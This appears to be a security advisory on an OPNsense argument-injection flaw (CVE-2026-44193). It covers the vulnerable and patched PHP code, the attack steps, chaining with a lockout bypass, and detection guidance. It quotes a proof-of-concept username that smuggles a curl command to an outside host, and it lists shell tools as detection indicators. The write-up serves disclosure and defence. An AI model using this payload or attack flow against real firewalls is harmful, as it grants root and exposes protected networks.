Introduction
A single missing escapeshellarg() call in OPNsense's user management code gave authenticated attackers a direct path to root shell execution on one of the most widely deployed open source firewalls. CVE-2026-44193, carrying a CVSS score of 9.1, affects the XMLRPC opnsense.restore_config_section method in all OPNsense versions through 26.1.6, and a public proof of concept makes exploitation straightforward for anyone with valid XMLRPC credentials.
OPNsense is an open source firewall and routing platform built on FreeBSD, developed by the Netherlands based company Deciso. It serves as a popular alternative to proprietary firewall products in small and mid sized enterprise environments, offering features like VPN, intrusion detection, traffic shaping, and high availability clustering. Its broad deployment as a perimeter security device makes vulnerabilities of this severity particularly consequential, since a compromised firewall can expose every network segment it protects.
Technical Information
The vulnerability is classified under CWE-88 (Improper Neutralization of Argument Delimiters in a Command) and lives in the local_user_set() function within src/etc/inc/auth.inc. This function manages local user account creation and modification by invoking the FreeBSD pw command through PHP's popen().
Root Cause
The core issue is an inconsistency in how dynamic variables were sanitized before being passed to the shell. In the vulnerable code, only the $comment variable was wrapped in escapeshellarg(). Every other variable was interpolated raw into the command string:
// BEFORE (vulnerable) $cmd = "/usr/sbin/pw {$user_op} -q -u {$user_uid} -n {$user_name}" . " -g {$user_group} -s {$user_shell} -d {$user_home}" . " -c " . escapeshellarg($comment) . " -H 0 2>&1"; $fd = popen($cmd, 'w');
The implicit assumption was that config.xml would always contain clean data. The XMLRPC restore_config_section method broke that assumption by allowing an authenticated user to push arbitrary XML content into the configuration, including user entries with shell metacharacters in the <name> field.
A second popen() call in the same function was equally vulnerable:
// BEFORE $fd = popen("/usr/sbin/pw usershow -n {$user_name}", 'r');
Attack Flow
The exploitation sequence works as follows:
-
Authentication: The attacker authenticates to the OPNsense XMLRPC endpoint using credentials for an account that holds the
XMLRPC Libraryprivilege. This privilege is commonly assigned to accounts used for high availability synchronization between firewall nodes. -
Payload delivery: The attacker sends a crafted XML-RPC POST request invoking the
opnsense.restore_config_sectionmethod. The XML payload contains a<user>section where the<name>element includes shell metacharacters. The published proof of concept demonstrates a username value likekch2;curl 192.168.236.1:8000/$(whoami);#. -
Command construction: When OPNsense processes the configuration restore and synchronizes user accounts, the
local_user_set()function constructs apw useraddorpw usermodcommand. The attacker controlled username is interpolated directly into the command string without sanitization. -
Execution as root: The semicolons in the injected username break out of the intended
pwcommand. The injected payload (in this case, acurlcommand with command substitution) executes as root. The trailing#character comments out the remainder of the original command, preventing syntax errors that might cause the injection to fail.
The result is arbitrary command execution with root privileges on the firewall appliance. From this position, an attacker can modify firewall rules, intercept network traffic, establish persistence, and pivot into protected internal network segments.
Compounding Factor
The same OPNsense 26.1.7 release patches a separate lockout bypass vulnerability that allows unlimited login attempts without triggering account lockouts. These two flaws can be chained: an attacker first brute forces credentials for an XMLRPC privileged account, then uses those credentials to deliver the argument injection payload.
Patch Information
The OPNsense project addressed CVE-2026-44193 in version 26.1.7, released on April 30, 2026. The fix was authored by Franco Fichtner and landed in commit aa0a2e1f3cce, cherry picked from master branch commit 3b6f357e26a3. The change modifies a single file: src/etc/inc/auth.inc, with 9 lines added and 6 removed.
The patch replaces all direct string interpolation with OPNsense's exec_safe() function, which uses %s format placeholders and properly escapes every argument:
// AFTER (patched) $user_frmt = ['/usr/sbin/pw %s']; // ... if ($userattrs === null || $userattrs[0] != $user['name']) { $user_frmt[] = '-m -k /usr/share/skel -o'; $user_op = 'useradd'; } // ... if ($user_op != null) { $user_frmt[] = '-q -u %s -n %s -g %s -s %s -d %s -c %s -H 0 2>&1'; $fd = popen(exec_safe($user_frmt, [$user_op, $user_uid, $user_name, $user_group, $user_shell, $user_home, $comment] ), 'w'); fwrite($fd, $user_pass); pclose($fd); }
There are two distinct improvements in this patch:
Splitting the composite variable: Previously, $user_op held both the subcommand and flags (e.g., useradd -m -k /usr/share/skel -o) as a single unquoted string. The patch separates the flags into the format string array ($user_frmt), so $user_op carries only the bare subcommand name (useradd or usermod). This eliminates the dangerous pattern of injecting multi token values into the command string unquoted.
Hardening the read path: The earlier popen() call used for reading existing user attributes was also updated:
// BEFORE $fd = popen("/usr/sbin/pw usershow -n {$user_name}", 'r'); // AFTER $fd = popen(exec_safe('/usr/sbin/pw usershow -n %s', $user_name), 'r');
By routing both popen() invocations through exec_safe(), every dynamic argument is now quoted before reaching the shell, completely closing the argument injection vector. The commit message notes that while the broader shell execution safety audit was performed in earlier OPNsense 26.1.x releases, these two popen() calls had been missed in that previous scope.
Detection Methods
As of May 14, 2026, no public Sigma rules, YARA signatures, or IDS/IPS rules have been published specifically targeting CVE-2026-44193. However, the vulnerability's well understood attack surface provides several actionable detection avenues.
Network Level Detection
Monitor HTTP/HTTPS POST requests directed at the OPNsense XMLRPC endpoint for XML payloads that invoke the opnsense.restore_config_section method. Any request containing user data with shell metacharacters (semicolons ;, backticks, command substitution $(), pipes |, or hash # characters) embedded in <name> fields is a strong indicator of exploitation. The published proof of concept demonstrates an injected username such as kch2;curl 192.168.236.1:8000/$(whoami);#, so network inspection should flag patterns where user related XML struct members contain command separators or shell expansion syntax.
If TLS inspection is not feasible on the management interface, monitoring for unexpected POST traffic volume or unusual source IPs reaching the XMLRPC endpoint serves as an alternative heuristic.
Host Based Log Review
On the OPNsense appliance itself, several log sources are relevant:
System audit logs (/var/log/audit and syslog facility LOG_AUTH): The auth_log() function in auth.inc writes to the auth syslog facility. Look for user creation or modification events referencing usernames that contain special characters not typical of standard usernames or email addresses.
Configuration changelogs: OPNsense tracks configuration changes. Review the config diff history (accessible under System > Configuration > History in the UI) for unexpected entries in the system/user section, particularly user entries that appeared without corresponding legitimate admin activity.
Process execution logs: On FreeBSD, process accounting or auditd can capture pw useradd and pw usermod commands. Any pw invocation where the -n parameter contains shell metacharacters, or where unexpected child processes (such as curl, wget, nc, bash, or sh) are spawned alongside the pw command, should be treated as a high fidelity indicator of exploitation.
Post Exploitation Indicators of Compromise
Several artifacts may indicate successful exploitation:
Outbound connections from the firewall: The firewall itself initiating connections to external or unexpected IP addresses is a strong indicator of a reverse shell or data exfiltration following successful command injection.
Persistence artifacts: Check for new or modified cron jobs, unexpected files under /conf/, or modifications to scripts in /usr/local/etc/rc.conf.d/. These are common persistence locations on FreeBSD based appliances.
Unexpected user accounts: Inspect config.xml and the output of pw usershow -a for user entries that should not exist or whose names contain suspicious character sequences.
Exposure Auditing
To determine whether an environment is at risk, audit which accounts hold the XMLRPC Library privilege, as this is a prerequisite for reaching the vulnerable code path. On the CLI, opnsense-version returns the running version; any version at or below 26.1.6 is vulnerable. If the management interface was exposed to the internet during the vulnerable window, treat the system as potentially compromised and rotate all API keys and admin credentials.
Affected Systems and Versions
All OPNsense versions prior to 26.1.7 are affected. Specifically, any installation running version 26.1.6 or earlier is vulnerable. The vulnerability requires an authenticated user account with the XMLRPC Library privilege, which is commonly assigned to accounts used for high availability configuration synchronization between firewall nodes.
The fix is included in OPNsense 26.1.7, released April 30, 2026.
Vendor Security History
Deciso has demonstrated a proactive approach to security maintenance for OPNsense. Beyond the specific fix for CVE-2026-44193, the development team has been systematically implementing an exec_safe wrapper to protect command execution functions across the platform. This broader audit was conducted in earlier 26.1.x releases, though the two popen() calls in auth.inc were missed in that initial scope. The OPNsense 26.1.7 release also addressed a separate lockout bypass vulnerability, and subsequent release 26.1.8 patched two additional critical RCE bugs (CVE-2026-44194 and CVE-2026-45158), indicating an active period of security hardening for the platform.
References
- GitHub Security Advisory: GHSA-xxp9-93cr-x54p
- NVD: CVE-2026-44193
- CVE Record: CVE-2026-44193
- Patch Commit: aa0a2e1f3cce
- OPNsense 26.1 Release Notes
- Field Effect: OPNsense Addresses Code Execution Issue with POC Available
- OPNsense 26.1.7 Release Announcement
- WZ-IT: OPNsense 26.1.8 RCE Patch Management
- Vulnerable Source: auth.inc (26.1.6)
- OPNsense Wikipedia
- Deciso B.V. Documentation
- OPNsense Forum: HA XMLRPC Sync Discussion



